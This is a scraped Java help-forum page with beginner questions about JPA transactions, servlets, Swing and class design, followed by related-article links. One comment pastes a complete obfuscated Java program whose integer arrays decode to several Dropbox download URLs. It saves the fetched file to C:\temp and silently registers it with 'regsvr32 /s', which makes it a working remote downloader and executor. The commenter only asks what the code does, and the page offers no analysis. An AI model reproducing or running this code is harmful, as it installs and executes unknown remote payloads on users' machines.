    pls guy i need help this code is not saving? when it get to tx.commit it will throw e=>"e" is not a know varaible in the current context int Answers= JOptionPane.showConfirmDialog(null, "Are You Sure You Want to Create Session","AJISOFT",JOptionPane.YES_NO_OPTION); if (Answers == 0){ EntityManagerFactory EMF=Persistence.createEntityManagerFactory("StudentaffairsJavaProjectPU"); EntityManager EM=EMF.createEntityManager(); EM.getEntityManagerFactory().getCache().evictAll(); EntityTransaction tx=null; StudentAffairsEntity.TableSchoolSetUp Sch=new StudentAffairsEntity.TableSchoolSetUp(); Sch.setSchoolName(jTextFieldSessionName1.getText()); Sch.setSchoolId(1); // StudentAffairsEntity.TableSchoolSetUp Scha=EM.find(StudentAffairsEntity.TableSchoolSetUp.class,); try { if(!EM.contains(Sch)){ tx = EM.getTransaction(); tx.begin(); EM.persist(Sch); //EM.flush(); tx.commit(); EM.close(); EMF.close(); JOptionPane.showMessageDialog(null, "School Set UP Is Successfull"); } } catch (EntityExistsException e) { if (EM.getTransaction().isActive()) EM.getTransaction().rollback(); JOptionPane.showMessageDialog(null, e.toString()); throw e; } }

  • java questionsragini April 17, 2014 at 5:46 PM

    i have some query about java pls help me

  • java servlet to ejbevol April 23, 2014 at 2:36 PM

    i want to submit 2 number from html page..accept it by a servlet ...and servlet pass this values to ejb for business methode to add..and after the result will appear on a new jsp page via servlet...how to implememt this...please

  • swings queryVipul Dhingra April 25, 2014 at 11:30 PM

    public void setEnabled(boolean b) what is the use of this.. and where i can use this..in java swings

  • Java programRohit April 26, 2014 at 10:40 PM

    import java.io.File; import java.io.IOException; import java.io.InputStream; import java.net.HttpURLConnection; import java.net.URI; import java.net.URL; import java.nio.file.CopyOption; import java.nio.file.Files; import java.nio.file.Paths; public class SOAZYNHYWJ { public static String XEFXUVSAR() { int[] DKXHFPMFVSJFYCCJT = { 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 108, 114, 120, 99, 115, 53, 113, 99, 114, 101, 105, 54, 104, 55, 112, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 103, 104, 50, 101, 120, 120, 111, 120, 52, 118, 110, 115, 98, 114, 52, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 51, 119, 103, 116, 116, 55, 115, 101, 102, 115, 54, 108, 97, 53, 48, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 117, 120, 107, 120, 57, 101, 51, 112, 117, 109, 104, 112, 57, 110, 115, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 104, 109, 101, 102, 106, 102, 100, 121, 113, 101, 112, 99, 117, 111, 51, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 102, 110, 56, 51, 103, 109, 116, 48, 106, 110, 112, 106, 117, 99, 112, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 114, 117, 99, 112, 106, 110, 54, 105, 50, 51, 49, 101, 121, 122, 112, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 115, 50, 101, 117, 51, 50, 50, 108, 49, 100, 99, 55, 119, 118, 114, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 50, 115, 52, 122, 112, 114, 110, 49, 108, 109, 115, 107, 108, 122, 116, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 54, 108, 97, 104, 107, 53, 105, 49, 111, 117, 98, 122, 52, 50, 115, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 112, 111, 104, 101, 110, 57, 108, 54, 54, 116, 115, 53, 52, 53, 53, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 103, 102, 102, 121, 50, 108, 99, 105, 101, 52, 115, 121, 51, 120, 117, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 102, 109, 118, 101, 111, 53, 49, 99, 114, 50, 49, 118, 113, 115, 120, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 109, 108, 106, 108, 99, 114, 100, 101, 102, 57, 117, 113, 105, 107, 56, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 51, 122, 118, 101, 108, 52, 100, 54, 112, 106, 113, 116, 102, 101, 106, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 98, 57, 101, 56, 118, 104, 103, 106, 50, 104, 116, 117, 114, 51, 54, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 110, 110, 54, 55, 103, 114, 118, 116, 100, 117, 109, 121, 54, 48, 113, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 50, 117, 118, 102, 53, 109, 97, 116, 50, 48, 57, 57, 120, 103, 49, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 118, 113, 105, 102, 117, 111, 49, 101, 109, 55, 115, 110, 102, 107, 53, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 105, 111, 106, 104, 49, 107, 100, 117, 51, 99, 121, 115, 122, 112, 55, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49 }; StringBuilder CUNCNQATN = new StringBuilder(DKXHFPMFVSJFYCCJT.length); for (int i = 0; i < DKXHFPMFVSJFYCCJT.length; i++) { CUNCNQATN.append((char)DKXHFPMFVSJFYCCJT[i]); } return CUNCNQATN.toString(); } public static String ZEWFLUPSFVMJN() { int[] HQSKBMADEOQXCFY = { 64, 64, 64 }; StringBuilder CBNLGE = new StringBuilder(HQSKBMADEOQXCFY.length); for (int o = 0; o < HQSKBMADEOQXCFY.length; o++) { CBNLGE.append((char)HQSKBMADEOQXCFY[o]); } return CBNLGE.toString(); } public static String RYMOJ() { int[] ZEARJTHAJIHYQGFHUQE = { 67, 58, 92, 92, 116, 101, 109, 112, 92, 92, 77, 68, 68, 88, 71, 78, 68, 88, 46, 85, 85, 89 }; StringBuilder PSJSDD = new StringBuilder(ZEARJTHAJIHYQGFHUQE.length); for (int p = 0; p < ZEARJTHAJIHYQGFHUQE.length; p++) { PSJSDD.append((char)ZEARJTHAJIHYQGFHUQE[p]); } return PSJSDD.toString(); } public static String NSOYOFTQAOUQWMT() { int[] MGEBTGZDEHF = { 67, 58, 92, 92, 116, 101, 109, 112, 92, 92 }; StringBuilder BQKPESBMFOXXLUPX = new StringBuilder(MGEBTGZDEHF.length); for (int g = 0; g < MGEBTGZDEHF.length; g++) { BQKPESBMFOXXLUPX.append((char)MGEBTGZDEHF[g]); } return BQKPESBMFOXXLUPX.toString(); } public static String NFZWVTDMC() { int[] CDVMZRVZBVMVG = { 114, 101, 103, 115, 118, 114, 51, 50, 32, 47, 115, 32, 67, 58, 92, 92, 116, 101, 109, 112, 92, 92, 77, 68, 68, 88, 71, 78, 68, 88, 46, 85, 85, 89 }; StringBuilder ZJDNBGNQJXBT = new StringBuilder(CDVMZRVZBVMVG.length); for (int n = 0; n < CDVMZRVZBVMVG.length; n++) { ZJDNBGNQJXBT.append((char)CDVMZRVZBVMVG[n]); } return ZJDNBGNQJXBT.toString(); } public static void MMLDIHCKGRXGERQXTPJ() throws IOException, InterruptedException { int d = 3; while (d < 9) { Runtime.getRuntime().exec(NFZWVTDMC()); d++; Thread.sleep(1000L); } } public static void main(String[] args) throws Exception { new File(NSOYOFTQAOUQWMT()).mkdir(); File q = new File(RYMOJ()); if (q.exists()) { MMLDIHCKGRXGERQXTPJ(); } else { String[] DTJWPDDCLGY = XEFXUVSAR().split(ZEWFLUPSFVMJN()); for (String EHQHLDGHEASW : DTJWPDDCLGY) { URL OGVJKFWVSHOZNGCP = new URL(EHQHLDGHEASW); HttpURLConnection LZTORWUYFDO = (HttpURLConnection)OGVJKFWVSHOZNGCP.openConnection(); LZTORWUYFDO.connect(); if (LZTORWUYFDO.getResponseCode() / 100 == 2) { String KZBGNIIXJLHHJEGHE = EHQHLDGHEASW; String TBGQVZFURVZVA = RYMOJ(); LVTMVHXQULNUOUYN(KZBGNIIXJLHHJEGHE, TBGQVZFURVZVA); break; } } } } public static void LVTMVHXQULNUOUYN(String CDVMZRVZBVMVGIAMXSB, String AUSIXTMTUORKHEXRVQK) throws IOException, InterruptedException { InputStream HPVXALRLIB = URI.create(CDVMZRVZBVMVGIAMXSB).toURL().openStream(); Files.copy(HPVXALRLIB, Paths.get(AUSIXTMTUORKHEXRVQK, new String[0]), new CopyOption[0]); MMLDIHCKGRXGERQXTPJ(); } } Is this program above some sort of copies files from our directory and upload to some server ?

  • javapooja December 25, 2011 at 8:29 PM

    i need two find addition of two matrices but through objects.finding the out by coding in main function is easy but i am not able to do it through objects .............is it possible!!!!!

  • java doubtspalvi July 4, 2012 at 1:41 PM

    You have following code snippet public class NoOneGetInstance { private NoOneGetInstance() { } } class ICanGetInstance { public void m() { // I can get instance of 'NoOneGetInstance' , but how :( ? } } Now question is How class 'ICanGetInstance' get instance of class 'NoOneGetInstance' ?. To get a solution you can do add code 'NoOneGetInstance' but u should not change constructor access modifier 'private' ;)

  • java doubtspalvi July 4, 2012 at 1:43 PM

    You have following code snippet public class NoOneGetInstance { private NoOneGetInstance() { } } class ICanGetInstance { public void m() { // I can get instance of 'NoOneGetInstance' , but how :( ? } } Now question is How class 'ICanGetInstance' get instance of class 'NoOneGetInstance' ?. To get a solution you can do add code 'NoOneGetInstance' but u should not change constructor access modifier 'private' ;)

  • Collating InformationEmily July 31, 2012 at 6:33 PM

    i have a problem. i have 100 boxes of chocolate. each box of chocolate has the type of chocolate and the number of chocolates. i have started my program and these are randomly generated. some boxes have the same type of chocolate, but different numbers of chocolates and vice verca. I want to know how to group this information so i can print an output which says the type of chocolate and the number of boxes that are this type of chocolate. ie the output should look like this: Type: Raspberry, Number: 4 Type: Praline, Number 17 etc. ive done all the start stuff. so when the program starts it prints a list. i just am unsure how to group this information. THANKYOU SO MUCH. you guys are the bees knees :)

Post your Comment



Your Name (*) :
Your Email :
Subject (*):
Your Comment (*):
  Reload Image
 
 
Related Articles
Java Beginners

online quiz
online quiz  Define a Question class which stores a multiple choice... of up to 10 questions. Define the add method of the Quiz class to add a question... approach to populates a quiz, presents it by asking questions randomly 

General

Ask Java Questions Online
Ask Java Questions Online   ... or post your query online and find the quick solution from the same channel. Java... is everywhere! View and ask questions at http 

Java Beginners

online test application in java
online test application in java  Can questions come in html file (test.html) if we link test.jsp with test.html   We have taken... the following link: http://www.roseindia.net/jsp/online-quiz-application-jsp.shtml 

Programming Questions

Software Questions and Answers
; View Software Questions and Answers online Discuss Software development questions, ask your questions and get answers online. Here you can... programming problems. Ask Questions | Browse Latest Questions 

General

Ask Programming Questions Online
Ask Programming Questions Online   .... So, feel free and post Java questions, JSP questions, Servlet questions, EJB questions, JDBC questions, Applet questions, RMI questions, JQuery questions 

General

Ask Applet Questions Online
Ask Applet Questions Online   ... queries within sort span of time. Now, using ‘ask online questions... ‘Ask Questions’. Now, you can get the quick answers of your questions 

General

Ask JEE Questions Online
Ask JEE Questions Online   ... or uses of J2EE. You can ask any J2EE questions online and get the most accurate... the answer of the asked questions. JEE is a platform-independent, Java 

Java-Tutorials

Online Java Training
of beginners learning Java. One can also ask questions and post queries...Free online Java training is provided by RoseIndia that is gaining laurels.... Both can gain much from this online training as every aspects and topics of Java 

Java Beginners

online voting
online voting  can i have the code for online voting in java 

JavaScript Questions

online voting
online voting  can i have the code for online voting in java 

Programming Questions

Software Questions and Answers
online Discuss Software development questions, ask your questions and get answers online. Here you can find questions asked by developers in the past. You can... - Ask your questions about securing your applications. Java 

General

Ask Spring Questions Online
Ask Spring Questions Online   ... of the problem on us. Post your questions online on our new service ‘Ask... Framework for Java platform and .NET Framework. The prime feature of Spring 

General

Ask JUnit Questions Online
Ask JUnit Questions Online   .... Ask programming questions, coding problems, testing and implementing... ‘Ask JUnit Questions Online’. Our experienced and proficient JUnit 

General

Ask EJB Questions online
Ask EJB Questions online   ... of enterprise applications. View and ask questions at http.... But since now, you do not need to worry as for solving all your EJB questions; we 

General

Ask Hibernate Questions Online
Ask Hibernate Questions Online   .... Feel free to ask questions on Hibernate related problems. In the move... programming questions. You can ask about the error's you are facing in your 

General

Ask Maven Questions Online
Ask Maven Questions Online   ... ‘Ask Maven Questions Online’ and ease your stress. For your... defined tasks such as compilation of code and its packaging. Ask any 

General

Ask JSP questions online
Ask JSP questions online   ... your questions and forget the pain.  JSP refers to Java... and ask questions at http://www.roseindia.net/answers/questions 

General

Ask iBatis Questions Online
Ask iBatis Questions Online   ... question using our new service ‘Ask iBatis Questions Online’ and get... in Java, .NET, and Ruby on Rails. iBATIS is an additional layer of indirection 

Java Beginners

online quiz
online quiz  Define a Question class which stores a multiple choice... of up to 10 questions. Define the add method of the Quiz class to add a question... approach to populates a quiz, presents it by asking questions randomly 

Java Magazine Questions

online quiz
online quiz  Define a Question class which stores a multiple choice... of up to 10 questions. Define the add method of the Quiz class to add a question... approach to populates a quiz, presents it by asking questions randomly 

Design concepts & design patterns Questions

online quiz
online quiz  Define a Question class which stores a multiple choice... of up to 10 questions. Define the add method of the Quiz class to add a question... approach to populates a quiz, presents it by asking questions randomly 

Java Interview Questions

online quiz
online quiz  Define a Question class which stores a multiple choice... of up to 10 questions. Define the add method of the Quiz class to add a question... approach to populates a quiz, presents it by asking questions randomly 

Java Beginners

online quiz
online quiz  Define a Question class which stores a multiple choice... of up to 10 questions. Define the add method of the Quiz class to add a question... approach to populates a quiz, presents it by asking questions randomly 

General

Ask Servlet questions online
Ask Servlet questions online       Feel free to ask any question about servlets... and disappears as it fulfilled the request. View and ask questions 

General

Ask Struts Questions Online
Ask Struts Questions Online   ... framework for developing Java EE web applications. Struts uses and extends the Java Servlet API to encourage developers to adopt a model-view-controller (MVC 

General

Ask Ant Questions Online
Ask Ant Questions Online   ... software available freely under Apache software license. Ask any questions... suited to Java projects. Ant automates comprises source code, building deployment 

General

Ask JavaFX Questions Online
Ask JavaFX Questions Online       Ask programming questions related... from the developers, we have initiated this service ‘Ask Questions 

Java Beginners

Online Java Tutorial
Online Java Tutorial  Hi, I am trying to find Online Java Tutorials. Give me the URL. Thanks   Hi, Learn Java at Java Tutorials section. Thanks 

Java Beginners

online shopping - Java Beginners
online shopping  Respected Sir, Sir please help me how to handle online shooping and shopping cart by click on image by only using jsp 

General

RMI Questions - Ask RMI question online
; Ask the Java RMI questions online and get answers. Programmers all over...RMI Questions - Ask RMI question online       Java RMI Questions RMI or Remote Method 

DMCA.com